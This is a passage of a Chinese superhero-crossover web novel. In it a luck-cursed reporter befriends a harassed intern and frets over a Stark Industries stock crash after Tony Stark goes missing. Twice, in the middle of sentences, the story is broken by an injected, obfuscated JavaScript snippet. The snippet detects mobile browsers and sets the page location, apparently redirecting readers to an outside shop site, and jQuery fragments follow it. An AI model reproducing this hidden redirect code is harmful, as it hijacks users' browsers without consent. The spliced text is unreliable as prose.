话音刚落,办公室占据半面墙壁的大屏开始播放琼·安德森发回的现场视频。先是一个全景镜头,视频中黄沙四起,只能勉强看到少许零星四散的飞机残骸,镜头一切,残骸上“斯塔克工业”几个大字赫然醒目。然后是琼·安德森坚定的声音:“据最新消息,2011年8月月27日,知名军火商托尼·斯塔克在中东地区进行军火生意洽谈期间,其私人专机于沙漠地带意外坠毁。事故发生于当地时间下午,现场位于偏远沙漠区域,救援队伍已抵达展开搜索。初步调查显示,飞机失事原因可能与引擎故障有关,但不排除恶劣天气影响,具体细节仍在核实中。目前,托尼·斯塔克及随行人员下落不明,搜救行动持续进行中。事件引发多方关注,涉事国政府已介入协调。救援负责人表示:‘行动将持续至找到失踪者,目前无生命迹象报告。’” “快快,跟我去斯塔克大厦。”有人扛着摄像机边往外跑边催促同伴。 “不愧是主编,连这样的独家新闻都能搞到。”朱莉·安一脸敬佩。 “主编一个人去中东是不是太危险了?”打小惜命的郝运忍不住担忧道。 朱莉·安凑近低声道:“主编在那边有雇佣兵保护,那边各方势力她都熟,不然怎么能拿到这么劲爆的一手消息?” 老板比明面上看到的还要厉害啊!郝运放下担心,听着办公室里掀起的关于托尼·斯塔克失踪是人为还是意外的热烈争论,颇有种一切了然于胸静待事件发展的淡然。他重新打开股票软件,不出意外斯塔克工业的股票正在一路狂跌,不禁暗叹不愧是主角待遇,股价下跌都得配上这么强劲合理的理由。这么看来,他的倒霉蛋属性对上主角光环还是要略逊一筹。 “快跟我来,被杰夫·戴维骚扰的那个实习生正在楼下透气。”巴伦·杜邦突然闪现。 郝运赶紧起身跟上。 24.第 24 章 电梯里巴伦·杜邦气愤道:“杰夫·戴维现在被人事和公关两个部门的老大压着不敢太放肆,专挑涉世不深容易拿捏的实习生下手。之前两个实习生为了实习证明被人事忽悠着忍了,为了彻底安抚她们,人事还装模作样让杰夫·戴维当面道歉。妮娜·卡莱尔是今年刚招的实习生,现在正在纠结要不要跟人事反应杰夫·戴维的问题。” 权力滥用到如此境地,郝运一时竟分不清究竟是始作俑者可恶,还是那些纵容包庇他的帮凶更可恶。 一人一鬼出了电梯,郝运带上耳机佯装正在打电话,其实是低声跟巴伦·杜邦商讨如何帮助妮娜·卡莱尔。两人议定初步计划,巴伦·杜邦在大楼门口停下:“我只能到这里,接下来靠你了。”说完指着大楼外长椅上一个捧着咖啡怔怔出神的黑发女孩道,“那就是妮娜·卡莱尔。” 郝运先去买了汉堡和可乐,一手汉堡一手可乐边走边吃,经过妮娜·卡莱尔时提前定好的闹钟正好响起,他顺势在长椅的另一边坐下,放下可乐,掏出手机关掉闹铃,开始一场自导自演的独角戏表演。 “你好,哪位?” “哦,艾迪小姐,您好。对,我是太阳日报的记者,是我给您发的邮件,希望您能接受我们的专题采访。” “对,我知道,职场性骚扰是个很敏感的话题,但是我知道您是一位非常勇敢的女士。”郝运慢慢压低声音,但不至于让妮娜·卡莱尔听不到。 “因为您的经历很有代表性,我知道您在决定站出来之前经历过痛苦的挣扎与煎熬,但您最后还是战胜恐惧和压力,靠着勇气和智慧拿到上司实施性骚扰和人事部门纵容包庇的证据。我们想通过您的例子鼓励更多经历职场性骚扰的人站出来制止骚扰者,也想告诉她们记录性骚扰事实的聊天记录和录音才是维权成功的关键。” “您放心,我们会根据受访者的要求决定公开还是匿名发布。嗯,好的,我等您的回复,再见。” 郝运装作挂断电话,慢慢吃起汉堡。他一边尽可能细嚼慢咽,一边悄悄用余光查看妮娜·卡莱尔的反应。可她始终低着头,双肘搁在腿上,似乎完全陷在自己的世界里。 郝运咽下最后一口汉堡,故意将汉堡纸团吧团吧制造出噪音,奈何妮娜·卡莱尔仍是不为所动。他学着投篮的样子将纸团朝垃圾桶投去,因为没投中懊恼地啧了一声,只好起身捡起来丢进垃圾桶。正要抬脚走人,看见长椅上的可乐杯,又折返回去。 妮娜·卡莱尔,你再不理我,我真走了啊!郝运拿起可乐杯慢慢离开,开始考虑要不要再演一出平地摔,毕竟他都摔出经验了,一定能摔得不着痕迹。 “你好——” “什么事?”呼唤在身后响起的那一刻,郝运立马转身。他按耐住激动的心情露出一个恰到好处的微笑,差点以为刚才的表演白瞎了呢! 妮娜·卡莱尔似乎吓了一跳,琥珀色的眼睛浮着浅浅的惊慌。“那个……你的证件掉了。” 这可不是我的刻意安排啊!郝运一掏兜,口袋不知什么时候破了个大洞。郝运头一次如此喜爱自己的倒霉体质,他捡起工作证,感激道:“谢谢你啊,不然刚入职就弄掉工作证可不好。你也在这栋楼上班吗?”刚才的话似乎没能让妮娜·卡莱尔下定决心,如此他只好主动出击,希望刚上班的身份能让妮娜·卡莱尔多一点共鸣,少一些防备。 “啊……是……”妮娜·卡莱尔颇为拘谨道。 “自我介绍一下,我叫郝运,是二十八楼太阳日报的记者。”郝运自来熟地重新坐下,恨不得摆出最友好的姿态。 “你好,那个……我认识你……”妮娜·卡莱尔呐呐道。 郝运眨着眼睛表示疑惑。 “星期一早上的新闻我看了,你很……很……”妮娜·卡莱尔似乎不知道该怎么形容,踌躇半天才继续道,“很勇敢。” 这下轮到郝运意外了。他不好意思道:“其实我快吓死了,上班第一天遇到这样的事,半条命都快没了。”说完心有余悸地拍拍胸口,顺势继续问,“还不知道你叫什么名字,在哪家公司任职?”说完露出招牌式笑容。郝运虽不知自个笑容的杀伤力,但他知道只要一笑,无论是阿姨、姐姐还是妹妹都会变得很好说话,这便成了他屡试不爽的妙招。 “哦,我叫妮娜·卡莱尔,在……在十六楼的新星网络实习。”妮娜·卡莱尔脸上一红,禁不住吐了个干净。 “哇哦,竟然是新星网络,他们的技术在业内可是顶尖的,听说实习生非名校不要呢!”这样一家大公司,谁能想到上到老板下到人事部公关部沆瀣一气保一个人渣,不,与其说保人渣,不如说是保他们自己。郝运表面艳羡,只有他知道这话里有多少讽刺的意味。 妮娜·卡莱尔知道眼前这个亚洲小帅哥明着说公司,其实是在恭维她厉害。如果没有发生那些事,她一定会羞涩地收下恭维,开心地同这位友善的帅哥交朋友。她想说太阳日报也是大报社,你也很优秀,却因为心情不好无论如何也说不出口。 “不过你在哪个部门呀,我听说他们负责技术的老大不像面上看着那么正派,你尽量离他远一点。”郝运以一种聊八卦的姿态低声说。 “啊?”妮娜·卡莱尔吃了一惊,不过想到对方是记者,又同在一栋楼,知道点什么也不奇怪。她似乎是想求证,又似乎是自问,弱弱地接道:“是……是吗?” “反正他要有什么让你觉得不舒服的地方,坚决地说不就行,千万别怀疑自己想多了。”郝运猜着一点儿妮娜·卡莱尔的心思,是在怀疑自己是不是误会了。 妮娜·卡莱尔忍不住鼻子一酸,眼里有热意上涌,但她不想在刚认识的人面前失态,强行忍住了。其实她刚才全都听到了,哪怕这人有刻意压低声音,她还是一字一句听得清清楚楚。她知道偷听别人讲话不好,但实在忍不住,因为她似乎正在遭遇类似的经历,她迫切地想要听听别人怎么解决这样的问题。只是听完之后,她反而更加清晰地认识到自己的天真与软弱。 她天真在于,在没有任何证据的情况下,只凭借对方几句带有暗示意味的话和突然靠近若有若无的接触,就想去人事部反馈被人骚扰。人事部知道后一定会找那人询问情况,他肯定不会承认。一个是地位仅次于老板的高管,一个是初入职场的实习生,在双方各执一词时,人事会偏向谁,会怎么处理,简直是一目了然。刚接到入职通知时,她还无比激动能直接跟着行业大佬工作,现在她只恨两人的位置太过悬殊,让她的真话都有可能变成污蔑。 其实她早就想到这样的结果,不过抱着一点奢望,妄图借人事之口提醒那人,以为这样便可避免正面冲突,说不定还能在公司继续待下去。现在她不再心存侥幸,立马意识到这样的事情一旦经第三方之手,那人作为她的顶头上司怎么可能放过她? 至于软弱,这样的她不算软弱吗?她更没有偷听到的那个女人那么智慧和勇敢,能放开胆子去收集证据。这样的她何其软弱啊! 妮娜·卡莱尔一次次鼓起勇气,可到嘴边的话始终说不出口。一旦开口,她不仅要向陌生人吐露最隐秘的心事,还要承认她不顾羞耻的偷听。一想到这些,她的嘴巴便闭成紧紧的蚌壳。直到她看见掉在地上的橙色证件,她感觉她的世界亮了,她终于有理由叫住已经离开的他。 可是叫住他,她还是不敢正面询问,只敢旁敲侧击问一问那个热度至今不减的事件。她想如果她能再多了解一点别人的勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082865|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢,说不定可以有勇气说不,然后再潇洒地离开这里。但是没想到他听说她在新星网络实习后,第一件事竟是提醒她那个人有问题,他虽说得没那么直白,但她马上就明白了。原来不是她的错觉,是那个人本来就有问题。她自己都不能肯定的事情,他那样坚定地让她相信她自己的感觉。 他一下子说中她的心事,又帮她证实心中所疑,如此巧合,如此及时,他是上帝派来拯救她的天使,一定是这样!妮娜·卡莱尔因为激动微微发起抖来。 “你还好吗?”郝运担忧道。这姑娘到底咋想的,他在这儿明里暗里努力老半天了,怎么连个响动都不见?她要是一直这么沉默,自己想帮她也无能为力啊。 妮娜·卡莱尔先摇摇头,又点点头,她胸口堵着太多的话,争前恐后地往喉咙口冲,一时塞住竟不知从何说起。 郝运见问不出来什么,觉得这么迂回着恐怕不行,干脆直接道:“不瞒你说,我们报社正在做职场性骚扰的专题报道,我在搜集既往相关的诉讼案例时,无意间发现你们公司的杰夫·戴维曾经被人告上过法庭,虽然法院判他胜诉,可我看过很多类似的案例,很多是因为证据不足法律界定模糊才败诉,并不代表没有发生。因为在同一栋楼,我好奇心作祟又去查了查,发现他在社交平台上的发言对女性很不尊重。” “他是惯犯?”妮娜·卡莱尔下意识脱口而出,一股凉意从脊背直逼上去。 郝运仿佛没察觉到话中异常,自顾自跟着说:“有这种毛病的人大多不是第一次,他前天才发布的动态,说什么女人最应该学会的就是如何取悦男人,他敢这么明目张胆地发,说明就没有改正的意识嘛!”他说得算轻的,那些一时不好查实的都没抖落出来。 “我知道了,谢谢你的提醒。”妮娜·卡莱尔像是突然下定什么决心似的,整个人慢慢放松下来。 这姑娘真能忍啊!到现在都没透露半点自己的遭遇。看这样子,不会已经决定好什么了吧?郝运不由得担心起来,试探着提醒道:“女孩子出门在外,最重要的是保护好自己,旁的都是其次。” 妮娜·卡莱尔颇为赞同地点点头,说道:“没错,要学会勇敢地说不。” 这前后变化太大,郝运更加摸不着妮娜·卡莱尔心里的想法。他能用的招都用尽了,就差直接问你有什么困难需要我帮忙吗?不行,他得让巴伦·杜邦随时关注这姑娘的动向。郝运掏出手机:“今天跟你聊得挺开心的,我们加个好友吧?” 妮娜·卡莱尔忙掏出手机。两人加完好友,都觉亲近不少。郝运找不出理由继续坐着,只好先说:“我差不多该回去了,要一起吗?” 妮娜·卡莱尔摇摇头:“我再坐会儿。”她暂时不想被同事发现她和记者认识。 “那么,我们再联系。”郝运说着晃晃手机,起身准备离开。 “那个,我有一个问题——”妮娜·卡莱尔迟疑着说。 终于有反应了,功夫不负有心人。郝运立马停住脚,眼含期待。 “你们是因为阿诺德·布莱恩的案子才决定做……专题报道吗?”职场性骚扰几个字仿佛烫嘴似的,妮娜·卡莱尔还是说不出口。 “啊,对呀,那样恶性的事件太令人痛惜,总要做点什么,让那些还藏在暗处的伤害暴露出来。”郝运正色道,暗暗可惜不是他最想听的问题。 “你们很让人敬佩。” “记者不就是为了正义而发声。”他只是误打误撞闯进来,并没有多高尚!郝运离开之前不忘再努把力:“你有什么困难都可以找我哦!” 妮娜·卡莱尔琥一怔,琥珀色的眼睛似乎有什么一闪而过。 “因为我是记者嘛!”郝运挥挥手走了。 25.第 25 章 不过短短一日,斯塔克工业的股票尽管多次触发个股熔断机制而暂停交易,还是跌了将近百分之二十,郝运见势不对,赶紧操作卖出,可惜这次股价不像以往随着他的卖出立马止跌上涨,盘中堆积的卖单持续增多,买家却寥寥无几,股价正滑向未知的深渊。 郝运也很无奈,不知道是自己的倒霉体质才引发托尼·斯塔克失踪事件,还是这本来就是主角英雄之路的一个小插曲,他的加入让其变得更猛烈罢了。现在股价已不受自己控制,只有等托尼·斯塔克重回大众视线,股价才能真正回升。只是这么恐怖的下跌,不知情的投资者恐怕会因为恐慌忍痛割肉,现在唯一值得庆幸的是实际成交量不多,但愿不要有主力资金趁着低价入场收割。 郝爸熬得双眼通红,一口又一口喝着浓茶解困,只等儿子卖出便一举买入,可他看股价跌得让人心肝乱颤,以为儿子想着要最后搞票大的,故意挺着没卖,忍不住发消息询问。 郝运知道股价一定会回升,但是利好出现之前的恐慌要持续多久,心里实在没底。他突然想到小时候买过一套超级英雄的漫画书,但是时间过去太久,关于每个英雄只留下些模糊的记忆,比如只记得斯塔克工业的董事长托尼·斯塔克是钢铁侠。六年前他刚踏上美利坚的土地,便有幸在电视大屏中见识到超级英雄的存在,有那么一刻他想过立即原地返回。 可是来都来了,就这么回去实在是对不住爸妈的殷切期盼和十多年的劳苦。郝运抱着试试的心态决定先留下看看,他知道超级英雄存在的世界一定危险重重,小心翼翼苟了大半年,发现除了新闻上偶尔的报道,超级英雄似乎距离自己很遥远,就像明星一般,普通人在现实中很难碰到。他也就慢慢放下担心,把超级英雄出没的事丢到一旁不管,一心只顾着如何在霉运笼罩下讨生活。 或许是自觉可以娴熟地迎接各种大大小小的意外,一时忘形,忘记超级英雄们的事故体质,在选中斯塔克工业的股票时才没有麻溜地有多远躲多远,反而升起一点儿同主角光环过过招的恶趣味。说到底还是这些年无一例外地精准操控催生了他的自以为是,让他产生能和主角一比高下的错觉。可是如今后悔也晚了,不管怎么样,郝运都无法摆脱可能间接导致许多普通投资者损失惨重甚至破产的嫌疑。 他想他必须得做点儿什么,不能这么被动等待。郝运躲进楼梯间,拨通郝爸的电话。 “儿子,怎么回事?马上收盘了,你今天还卖不卖?”郝爸焦急道。 这次是要帮大表姐凑救命钱,事已至此便是不让老爸买也于事无补。郝运定定心神道:“我已经卖了,你赶着收盘前买入吧。” “儿子,这次跌得太猛了,这只股票是不是选得不太对?”郝爸敏感地意识到不对头,有些退缩。要知道以往从来不会超过百分之十的跌幅,而且几乎都是在一两天内快速完成全部交易。 “老爸,我这强悍的霉运什么时候出过错?”郝运故作轻松地自嘲道。 郝爸听着儿子笃定的声音,见距离收盘只剩半个小时,不再犹疑,果断买入。“儿子,买好了,我还以为今天的夜要白熬呢!你不知道,年纪大了熬一宿得好几天才能缓过来。”郝爸兴奋道。 “……”老爸,你的动作也忒快了点,我还没来得及说少买点。明天周末,这两天要是没有托尼·斯塔克的消息,估计下周一还得跌。郝运觉得还是提前打个预防针,免得老爸看着下跌心脏受不了。 “老爸,这次可能不会像以前那样那么快涨回去——” “为什么?”郝爸急了。因为是最后一票,他可是把手里的钱全都投进去,要是出点意外,那不是血本无归? “这家公司最近有重大战略调整,在外界看来可能不是利好消息,不过你不用担心,一定能涨回来。”郝运缓缓解释着,怕老爸一激动血压升高。 “要是十天半个月还行,万一拖个三五个月,你大表姐可等不了哦。”郝爸感受到儿子的信心,暂时放下对私房小金库的担忧,但那边可是等着救命,不急不行。 “这个暂时不好说,我只能确定时间不会太久,如果大表姐急需用钱,先拿你手里的钱垫上。”郝运知道郝爸手里有个几十万私藏,应该够换肾的手术费。 “那行吧……”郝爸勉强道。 “你不会把你手里的钱全投进去了吧?”郝运反应过来。 “我这不是想着最后一票了吗?再说靠你大表姑那点本金能赚多少?”郝爸尴尬地笑笑,马上保证道,“你放心,你妈手里的我一分没动,都在银行存着定期。” 郝运不好再说什么,只得道:“实在不行,只能先找我妈支援。” 郝爸见股票还在往下跌,担心小金库严重缩水,弱弱道:“儿子,现在卖也就损失几万块,要不我先卖了,你再找一只股票?” 你也得看看你现在卖不卖得出去。郝运不敢打击老爸,换种方式道:“说好了这是最后一次。你别着急,会涨的。” “那行吧……”郝爸唯有相信儿子的判断。 “老爸,我记得小时候过生日的时候你送给我一套超级英雄的漫画书,你休息完了尽快帮我找一找,特别是钢铁侠那本,我有用。”郝运想着查查钢铁侠的故事线,说不定能找到点这次事件的蛛丝马迹,不然干等着实在太折磨人了。 “哦哦,我有印象。你的书你妈都好好收着,找到了马上给你打电话。”这套书是为了鼓励小郝运做一个勇敢坚强的孩子特意买的,花了足足一个月的工资,郝爸咬着牙付的钱,自然印象深刻。 当时一个穿着破烂的街头小贩叫住郝爸,神秘兮兮地掏出一套包装精美的漫画,说什么这里边都是英雄的故事,英雄在成为英雄前都经历过一场又一场磨难与考验。郝爸一听就心动了,等掏钱的时候才知道竟要三百块,他立马想走,却被小贩拉住说这是套绝版漫画,描绘的都是西方英雄拯救人类的故事,要不是家里人生病急需用钱,根本不舍得拿出来卖。小贩还特地打开一本让郝爸看,画工纸张果然精细考究,人物形象更是跃然纸上,关键还是中英文双语故事。 郝爸见小贩大冬天的穿着一双露脚趾头的单鞋,一件扯着黑棉絮的薄棉衣,他想小贩家里应该真遇到难处了,刚好兜里正揣着刚领的工资,便说全身上下只有265块钱,行他就要,不行就拉倒。小贩痛快地一手接钱一手交货,还嘱咐一定要带着家里的孩子多看几遍,将来有好处。 抱着书回家的郝爸不出意外被郝妈骂了个狗血喷头,一家三口过了三四个月紧巴巴的苦日子才缓过劲儿来。这些小郝运并不知道,他只知道这是一份特别的生日礼物,抱着反复看了好几年。郝妈见郝运确实喜欢,才不再追究郝爸的头脑发热。 郝运挂完电话,看着手机上推送不停的头条新闻,美国队长回归,超人拯救失事飞机,蝙蝠侠重整哥谭秩序……漫画中的超级英雄一个个出现在眼前,他一时分不清这里究竟是现实世界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086477|194615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是漫画中的世界。如果是现实世界,为什么他在种花国时能看到这些超级英雄的漫画?如果是漫画中的世界,那他为什么会来到这里?他前十八年生活的地方和这里究竟是什么样的存在?它们处在同一时空吗?爸妈总是来不了这里,是不是时空规则在暗中阻碍?可是如果不是同一时空,为什么老爸还能买这里的股票?纷繁的问题想得郝运脑袋发晕,他的心没来由的一阵恐慌,他还能回到那个从小长大的地方吗? “嘿,发什么呆呢?”巴伦·杜邦不知什么时候悄悄出现。 郝运苦笑一声:“我才发现这个世界如此魔幻,这么多的超级英雄齐聚一堂,是世界末日要到了吗?”他这样的倒霉蛋在这样高危的世界中也不知道还有几个明天。 “你不也是能力者?”巴伦·杜邦用一种奇异的语调说道。 郝运有一瞬间的惊讶,很快又感到好笑,他难不成要成为“倒霉侠”吗?他无奈道:“我只想过安稳的小日子。” “你对你的能力一无所知。”巴伦·杜邦眼睛里满是预言家般的洞察与智慧。 郝运垂下眼皮,不敢与之对视。过了很久他才意识到,这时的他还在抵抗命运对他的安排,不敢接受这份馈赠。 “妮娜·卡莱尔怎么样?”郝运转移话题。 “她随身带着录音笔和防狼喷雾,我想她已经有计划了。”巴伦·杜邦一副静待好戏开场的期待。 “会不会有危险?” “杰夫·戴维骨子里是个彻头彻尾的懦夫,他只敢过过嘴瘾占占小便宜,不敢做得太出格。”巴伦·杜邦嗤笑道。 “你提到的那些被他骚扰过的人,我都试着联系过了,可惜都不愿提这件事。”郝运泄气道,“我想可能因为我是男人,她们不好意思讲那些不堪的遭遇。等下周朱莉·安空出来,我再让她联系看看。”他和朱莉·安复盘这两日的工作进度,重新做了分工,后续联系采访的事都由朱莉·安出面。 巴伦·杜邦无可奈何地点点头。 “我晚上有事,下周见。”郝运说着就要离开。前两天都在加班,今晚得和五鬼讨论明天同老约翰女儿见面的事。这一周可真忙啊!郝运一下子要应对这么多事,颇有些分身乏术的无力感。 “你不去蹲守美国队长吗?现在他可是头条中的头条,谁能蹲到他的采访,谁就能一战成名。”巴伦·杜邦不忘替郝运的记者生涯谋划。 郝运知道今天美国队长归来的消息无异于原子弹爆炸,迅速盖过托尼·斯塔克失踪的消息,连超人都不得不暂避其光芒,全美今晚恐怕都在欢呼激动,他们的英雄回来了!他不是美利坚长大的小孩,对美国队长虽有崇拜,但不像本土人那般狂热着迷,既如此还是不要去凑热闹了! “这种好事想也轮不到我,我干嘛去浪费时间。”郝运不在意道。 “我采访过美国队长,跟他算是老朋友。”巴伦·杜邦笑眯眯道,非常尽责地扮演鬼行外挂。 “等你能出去大厦再说吧,反正我是请不来美国队长让你跟老朋友来一场久别重逢。”郝运一点儿也不动心。 “我是想给你创造出名的机会。”巴伦·杜邦颇有点鸡同鸭讲的无奈,“你只要按我说的地方去蹲守,一定能蹲到他,以我对美国队长的了解,见你这么一个小男孩巴巴等了那么久,一定会接受你的采访。” “再说吧,人家刚醒过来,总得给点时间适应适应现代世界。”郝运摆摆手走了。